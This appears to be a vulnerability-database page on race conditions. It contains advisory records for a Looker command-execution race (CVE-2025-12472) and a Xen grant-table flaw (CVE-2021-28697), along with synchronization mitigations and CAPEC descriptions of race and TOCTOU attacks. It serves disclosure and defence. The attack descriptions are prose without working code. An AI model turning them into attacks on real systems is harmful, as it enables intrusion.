Self-hosted instances must be upgraded as soon as possible. This vulnerability has been patched in all supported versions of Self-hosted. The versions below have all been updated to protect from this vulnerability. You can download these versions at the Looker download page https://download.looker.com/ : * 24.12.103+ * 24.18.195+ * 25.0.72+ * 25.6.60+ * 25.8.42+ * 25.10.22+
{
"affected": [],
"aliases": [
"CVE-2025-12472"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-19T11:15:44Z",
"severity": "HIGH"
},
"details": "An attacker with a Looker Developer role could manipulate a LookML project to exploit a race condition during Git directory deletion, leading to arbitrary command execution on the Looker instance.\n\n\n\nLooker-hosted and Self-hosted were found to be vulnerable.\nThis issue has already been mitigated for Looker-hosted instances.\u00a0No user action is required for these.\n\n\nSelf-hosted instances must be upgraded as soon as possible. This vulnerability has been patched in all supported versions of Self-hosted.\nThe versions below have all been updated to protect from this vulnerability. You can download these versions at the Looker download page https://download.looker.com/ :\n * 24.12.103+\n * 24.18.195+\n * 25.0.72+\n * 25.6.60+\n * 25.8.42+\n * 25.10.22+",
"id": "GHSA-2h5q-w7wv-63r9",
"modified": "2025-11-19T12:30:21Z",
"published": "2025-11-19T12:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12472"
},
{
"type": "WEB",
"url": "https://cloud.google.com/support/bulletins#gcp-2025-052"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Red",
"type": "CVSS_V4"
}
]
}
GHSA-2H72-2HX7-MMCQ
Vulnerability from github – Published: 2022-05-24 19:12 – Updated: 2022-07-13 00:01grant table v2 status pages may remain accessible after de-allocation Guest get permitted access to certain Xen-owned pages of memory. The majority of such pages remain allocated / associated with a guest for its entire lifetime. Grant table v2 status pages, however, get de-allocated when a guest switched (back) from v2 to v1. The freeing of such pages requires that the hypervisor know where in the guest these pages were mapped. The hypervisor tracks only one use within guest space, but racing requests from the guest to insert mappings of these pages may result in any of them to become mapped in multiple locations. Upon switching back from v2 to v1, the guest would then retain access to a page that was freed and perhaps re-used for other purposes.
{
"affected": [],
"aliases": [
"CVE-2021-28697"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-27T19:15:00Z",
"severity": "HIGH"
},
"details": "grant table v2 status pages may remain accessible after de-allocation Guest get permitted access to certain Xen-owned pages of memory. The majority of such pages remain allocated / associated with a guest for its entire lifetime. Grant table v2 status pages, however, get de-allocated when a guest switched (back) from v2 to v1. The freeing of such pages requires that the hypervisor know where in the guest these pages were mapped. The hypervisor tracks only one use within guest space, but racing requests from the guest to insert mappings of these pages may result in any of them to become mapped in multiple locations. Upon switching back from v2 to v1, the guest would then retain access to a page that was freed and perhaps re-used for other purposes.",
"id": "GHSA-2h72-2hx7-mmcq",
"modified": "2022-07-13T00:01:15Z",
"published": "2022-05-24T19:12:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28697"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2VQCFAPBNGBBAOMJZG6QBREOG5IIDZID"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FZCNPSRPGFCQRYE2BI4D4Q4SCE56ANV2"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LPRVHW4J4ZCPPOHZEWP5MOJT7XDGFFPJ"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202208-23"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2021/dsa-4977"
},
{
"type": "WEB",
"url": "https://xenbits.xenproject.org/xsa/advisory-379.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.
Mitigation
Use thread-safe capabilities such as the data access abstraction in Spring.
Mitigation
- Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring.
- Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).
Mitigation
When using multithreading and operating on shared variables, only use thread-safe functions.
Mitigation
Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.
Mitigation
Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.
Mitigation
Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.
Mitigation
Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.
Mitigation
Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
CAPEC-26: Leveraging Race Conditions
The adversary targets a race condition occurring when multiple processes access and manipulate the same resource concurrently, and the outcome of the execution depends on the particular order in which the access takes place. The adversary can leverage a race condition by "running the race", modifying the resource and modifying the normal execution flow. For instance, a race condition can occur while accessing a file: the adversary can trick the system by replacing the original file with their version and cause the system to read the malicious file.
CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions
This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.